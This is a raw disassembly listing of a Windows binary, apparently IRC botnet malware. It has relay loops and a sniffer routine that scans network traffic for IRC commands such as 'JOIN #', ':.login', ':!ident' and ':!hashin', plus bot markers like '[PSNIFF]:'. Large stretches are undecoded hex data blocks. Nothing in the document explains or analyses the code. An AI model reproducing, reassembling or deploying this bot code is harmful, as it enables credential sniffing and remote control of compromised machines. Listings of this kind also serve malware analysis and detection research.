		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E2D6E890h, 4D8B0226h, 34C969C8h, 3B000002h,	248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0F149E890h
		dd 0EDEB0225h, 0EC1CE890h, 8D500226h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22CE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2CE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Ch
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	0DF82E853h
		dd 0FF90022Ch, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
; ---------------------------------------------------------------------------
		fild	qword ptr [edx+eax]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	225ECABh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0EBE5E800h, 0FF900225h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 25EBB2E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
		dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
		dd 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh,	2A0h, 27D840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 9E80000h, 8300009Ch,	458D0CC4h, 8D5350E4h, 0FFF78485h
		dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh,	88A00000h
		dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
		dd 10F445h, 0ABF30000h,	8DAAAB66h, 8D50F445h, 5350C445h
		dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
		dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
		dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h,	0FFFF31BDh
		dd 850F01FFh, 0A3h, 0FD94858Dh,	0E850FFFFh, 95C0h, 75FF5353h
		dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh,	0FFFA889Dh
		dd 8985C6FFh, 3FFFFFAh,	20068h,	50016A00h, 0FA8A9D88h
		dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
		dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh,	5650FFFFh
		dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
		dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
		dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h,	38A7E8h
		dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh,	0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434798h
		dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
		dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 90022CDAh, 3E868h
		dd 0A8E89000h, 570225E8h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 0E78DE890h, 15FF0225h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2CD49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 2CD3CBE8h, 458B9002h, 69106AD0h, 234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022CD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 2CD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
